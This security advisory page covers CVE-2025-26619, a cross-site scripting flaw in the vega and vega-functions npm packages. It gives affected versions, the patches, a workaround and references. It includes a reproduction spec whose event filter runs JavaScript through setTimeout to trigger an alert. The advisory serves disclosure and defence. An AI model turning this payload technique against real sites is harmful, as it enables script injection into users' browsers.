CVE-2025-26619: Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
Impact In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported. Patches Patched in vega 5.31.0 / vega-functions 5.16.0 Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? - Run vega without vega.expressionInterpreter.
Published Mar 27, 2025 · Updated Apr 11, 2025
Affected packages
vega
- Ecosystem
- npm
- Affected
- < 5.31.0
- Fixed in
- 5.31.0
- Check
npm ls vega
vega-functions
- Ecosystem
- npm
- Affected
- < 5.16.0
- Fixed in
- 5.16.0
- Check
npm ls vega-functions
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patches
Patched in vega 5.31.0 / vega-functions 5.16.0
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
- Run
vegawithoutvega.expressionInterpreter. This mode is not the default as it is slower. - Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.
References
- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984
Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}Credited to kprevas, hydrosquall, domoritz, mattijn, lsh.
References
- https://github.com/vega/vega/security/advisories/GHSA-rcw3-wmx7-cphr
- https://github.com/vega/vega-lite/issues/9469
- https://github.com/vega/vega/issues/3984
- https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c
- https://nvd.nist.gov/vuln/detail/CVE-2025-26619
- https://github.com/advisories/GHSA-rcw3-wmx7-cphr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2025-66648
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
high7.2Jan 5, 2026CVE-2025-59840
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
high8.1Nov 13, 2025CVE-2025-27793
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
medium5.3Mar 27, 2025CVE-2025-25304
Vega allows Cross-site Scripting via the vlSelectionTuples function
medium6.9Feb 14, 2025
